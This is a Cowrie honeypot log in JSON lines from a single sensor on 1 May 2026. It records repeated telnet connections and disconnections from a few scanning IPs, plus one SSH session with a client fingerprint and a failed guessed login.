{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":56104,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a9e0013e2fb","protocol":"telnet","message":"New connection: 62.72.47.216:56104 (10.17.0.5:23) [session: 0a9e0013e2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:06.990573Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":60696,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c72e89a254c","protocol":"telnet","message":"New connection: 146.185.21.169:60696 (10.17.0.5:23) [session: 8c72e89a254c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:08.687703Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":45332,"dst_ip":"10.17.0.5","dst_port":23,"session":"702f19eb6e47","protocol":"telnet","message":"New connection: 94.46.12.68:45332 (10.17.0.5:23) [session: 702f19eb6e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:09.629117Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":33516,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e9b34dc7c7","protocol":"telnet","message":"New connection: 62.72.47.216:33516 (10.17.0.5:23) [session: 14e9b34dc7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:10.004640Z"}
{"eventid":"cowrie.session.closed","duration":31.285032749176025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:10.395829Z","src_ip":"94.46.12.68","session":"0236c6340126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":36128,"dst_ip":"10.17.0.5","dst_port":23,"session":"c010f80920b9","protocol":"telnet","message":"New connection: 146.185.21.169:36128 (10.17.0.5:23) [session: c010f80920b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:11.113823Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":49064,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ee82549640","protocol":"telnet","message":"New connection: 94.46.12.68:49064 (10.17.0.5:23) [session: 20ee82549640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:12.503449Z"}
{"eventid":"cowrie.session.closed","duration":30.708973169326782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:14.100131Z","src_ip":"94.46.12.68","session":"246353396b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":54846,"dst_ip":"10.17.0.5","dst_port":23,"session":"88f46e914544","protocol":"telnet","message":"New connection: 94.46.12.68:54846 (10.17.0.5:23) [session: 88f46e914544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:14.286268Z"}
{"eventid":"cowrie.session.closed","duration":31.1318199634552,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:14.783793Z","src_ip":"94.46.12.68","session":"1b4f34234b88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55229640007019,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:15.054919Z","src_ip":"94.46.12.68","session":"9e9acc7ebac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57200,"dst_ip":"10.17.0.5","dst_port":23,"session":"c187b643e890","protocol":"telnet","message":"New connection: 94.46.12.68:57200 (10.17.0.5:23) [session: c187b643e890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:15.568033Z"}
{"eventid":"cowrie.session.closed","duration":31.139281272888184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:16.519658Z","src_ip":"94.46.12.68","session":"a73219af2c1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46924,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4b969eadf25","protocol":"telnet","message":"New connection: 146.185.21.169:46924 (10.17.0.5:23) [session: c4b969eadf25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:16.835025Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":54878,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e566eae416","protocol":"telnet","message":"New connection: 94.46.12.68:54878 (10.17.0.5:23) [session: 47e566eae416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:17.336563Z"}
{"eventid":"cowrie.session.closed","duration":30.20898127555847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:18.066651Z","src_ip":"94.46.12.68","session":"0835e9a3e220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":35486,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbb6b1480b5d","protocol":"telnet","message":"New connection: 94.46.12.68:35486 (10.17.0.5:23) [session: bbb6b1480b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:18.435730Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":36994,"dst_ip":"10.17.0.5","dst_port":23,"session":"97fbbf199a9f","protocol":"telnet","message":"New connection: 94.46.12.68:36994 (10.17.0.5:23) [session: 97fbbf199a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:19.042845Z"}
{"eventid":"cowrie.session.closed","duration":30.204753637313843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:19.054758Z","src_ip":"146.185.21.169","session":"113922209001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":37528,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6b749417cbc","protocol":"telnet","message":"New connection: 146.185.21.169:37528 (10.17.0.5:23) [session: b6b749417cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:19.273136Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":37810,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d879ffac0ab","protocol":"telnet","message":"New connection: 94.46.12.68:37810 (10.17.0.5:23) [session: 3d879ffac0ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:19.609358Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":39688,"dst_ip":"10.17.0.5","dst_port":23,"session":"56eafe46b5b6","protocol":"telnet","message":"New connection: 94.46.12.68:39688 (10.17.0.5:23) [session: 56eafe46b5b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:20.439966Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52436,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9c629e49c26","protocol":"telnet","message":"New connection: 146.185.21.169:52436 (10.17.0.5:23) [session: d9c629e49c26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:21.200832Z"}
{"eventid":"cowrie.session.closed","duration":43.07856774330139,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:22.995952Z","src_ip":"146.185.21.169","session":"04b243382883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08901357650757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:23.095856Z","src_ip":"146.185.21.169","session":"c117d37b7e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86082911491394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:25.060540Z","src_ip":"146.185.21.169","session":"5234f2d8501f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733426094055176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:25.108839Z","src_ip":"94.46.12.68","session":"b80a25d68a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.563522577285767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:27.402632Z","src_ip":"94.46.12.68","session":"7ac750843b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57148,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c264654931e","protocol":"telnet","message":"New connection: 94.46.12.68:57148 (10.17.0.5:23) [session: 0c264654931e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:28.571171Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40184,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5b3073fb633","protocol":"telnet","message":"New connection: 146.185.21.169:40184 (10.17.0.5:23) [session: e5b3073fb633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:29.072353Z"}
{"eventid":"cowrie.session.closed","duration":29.698647260665894,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:29.111591Z","src_ip":"146.185.21.169","session":"0070be3e8584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.531094789505005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:29.797877Z","src_ip":"146.185.21.169","session":"4c36adbcb081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.690815448760986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:30.442431Z","src_ip":"62.72.47.216","session":"48eaa84e2c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394438982009888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:31.076660Z","src_ip":"146.185.21.169","session":"e00db1515b7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178342580795288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:31.249960Z","src_ip":"62.72.47.216","session":"5354d2cdd7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.231.165","src_port":44162,"dst_ip":"10.17.0.5","dst_port":23,"session":"0349ad815bc6","protocol":"telnet","message":"New connection: 103.82.231.165:44162 (10.17.0.5:23) [session: 0349ad815bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:31.276529Z"}
{"eventid":"cowrie.session.closed","duration":30.58110761642456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:32.251647Z","src_ip":"62.72.47.216","session":"6c56f27c9289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":16250,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e4bfc3105f3","protocol":"ssh","message":"New connection: 181.65.191.218:16250 (10.17.0.5:22) [session: 4e4bfc3105f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:32.319958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:32.324913Z","src_ip":"181.65.191.218","session":"4e4bfc3105f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:32.441814Z","src_ip":"181.65.191.218","session":"4e4bfc3105f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46214,"dst_ip":"10.17.0.5","dst_port":23,"session":"d27216b3e973","protocol":"telnet","message":"New connection: 146.185.21.169:46214 (10.17.0.5:23) [session: d27216b3e973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:32.600201Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass@2023","message":"login attempt [ubuntu/Pass@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:32.940715Z","src_ip":"181.65.191.218","session":"4e4bfc3105f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:34.059676Z","src_ip":"181.65.191.218","session":"4e4bfc3105f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.925995111465454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:34.285484Z","src_ip":"94.46.12.68","session":"522a697e4cdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":55096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d519e6592aee","protocol":"telnet","message":"New connection: 62.72.47.216:55096 (10.17.0.5:23) [session: d519e6592aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:34.573942Z"}
{"eventid":"cowrie.session.closed","duration":30.59962749481201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:35.227989Z","src_ip":"62.72.47.216","session":"2898b0df54f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.442463397979736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:35.242593Z","src_ip":"62.72.47.216","session":"7cc2870a8def","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":57546,"dst_ip":"10.17.0.5","dst_port":23,"session":"51be0dd23180","protocol":"telnet","message":"New connection: 62.72.47.216:57546 (10.17.0.5:23) [session: 51be0dd23180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:35.634809Z"}
{"eventid":"cowrie.session.closed","duration":31.175349235534668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:36.118120Z","src_ip":"62.72.47.216","session":"4e1592a1cddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189900398254,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:36.734416Z","src_ip":"98.51.244.245","session":"250bbf87350e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.28354811668396,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:37.204543Z","src_ip":"146.185.21.169","session":"8f9607c3c42f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2055766582489,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:38.195985Z","src_ip":"62.72.47.216","session":"0a9e0013e2fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.352007627487183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:39.039614Z","src_ip":"146.185.21.169","session":"8c72e89a254c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1195c09b218","protocol":"telnet","message":"New connection: 146.185.21.169:59592 (10.17.0.5:23) [session: f1195c09b218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:39.461806Z"}
{"eventid":"cowrie.session.closed","duration":30.75348663330078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:40.382503Z","src_ip":"94.46.12.68","session":"702f19eb6e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":40402,"dst_ip":"10.17.0.5","dst_port":23,"session":"642e4ba1d1c9","protocol":"telnet","message":"New connection: 62.72.47.216:40402 (10.17.0.5:23) [session: 642e4ba1d1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:40.674474Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":40510,"dst_ip":"10.17.0.5","dst_port":23,"session":"648f9e4545ad","protocol":"telnet","message":"New connection: 62.72.47.216:40510 (10.17.0.5:23) [session: 648f9e4545ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:40.735353Z"}
{"eventid":"cowrie.session.closed","duration":43.43713045120239,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:41.236052Z","src_ip":"146.185.21.169","session":"73cddf6684a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.564171075820923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:41.568685Z","src_ip":"62.72.47.216","session":"14e9b34dc7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95293688774109,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:42.066650Z","src_ip":"146.185.21.169","session":"c010f80920b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":44480,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2e3397c619b","protocol":"telnet","message":"New connection: 62.72.47.216:44480 (10.17.0.5:23) [session: c2e3397c619b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:42.657803Z"}
{"eventid":"cowrie.session.closed","duration":30.83346462249756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:43.336785Z","src_ip":"94.46.12.68","session":"20ee82549640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":36705,"dst_ip":"159.203.135.109","dst_port":23,"session":"f82ff8552389","protocol":"telnet","message":"New connection: 98.51.244.245:36705 (159.203.135.109:23) [session: f82ff8552389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:43.952542Z"}
{"eventid":"cowrie.session.closed","duration":31.141289234161377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:45.427435Z","src_ip":"94.46.12.68","session":"88f46e914544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026181936264038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:46.594095Z","src_ip":"94.46.12.68","session":"c187b643e890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82334065437317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:48.159794Z","src_ip":"94.46.12.68","session":"47e566eae416","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.51.244.245","src_port":36949,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8e4e9fc8273","protocol":"telnet","message":"New connection: 98.51.244.245:36949 (159.203.135.109:23) [session: a8e4e9fc8273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:48.999387Z"}
{"eventid":"cowrie.session.closed","duration":30.942460298538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:49.378091Z","src_ip":"94.46.12.68","session":"bbb6b1480b5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021904230117798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:50.064612Z","src_ip":"94.46.12.68","session":"97fbbf199a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829669713974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:50.102709Z","src_ip":"146.185.21.169","session":"b6b749417cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.964340686798096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:50.573591Z","src_ip":"94.46.12.68","session":"3d879ffac0ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749670267105103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:51.189528Z","src_ip":"94.46.12.68","session":"56eafe46b5b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.001220703125,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:51.278042Z","src_ip":"193.27.197.200","session":"d90fb85118ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.27.197.200","src_port":32914,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd025ae56806","protocol":"telnet","message":"New connection: 193.27.197.200:32914 (159.203.135.109:23) [session: dd025ae56806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:51.691942Z"}
{"eventid":"cowrie.session.closed","duration":37.826213359832764,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:54.661062Z","src_ip":"146.185.21.169","session":"c4b969eadf25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":34974,"dst_ip":"10.17.0.5","dst_port":23,"session":"933da591cbdf","protocol":"telnet","message":"New connection: 146.185.21.169:34974 (10.17.0.5:23) [session: 933da591cbdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:56.974065Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":36346,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94fa4885c87","protocol":"telnet","message":"New connection: 146.185.21.169:36346 (10.17.0.5:23) [session: f94fa4885c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:57.710875Z"}
{"eventid":"cowrie.session.closed","duration":37.47568893432617,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:58.676395Z","src_ip":"146.185.21.169","session":"d9c629e49c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87863326072693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:59.449559Z","src_ip":"94.46.12.68","session":"0c264654931e","protocol":"telnet"}
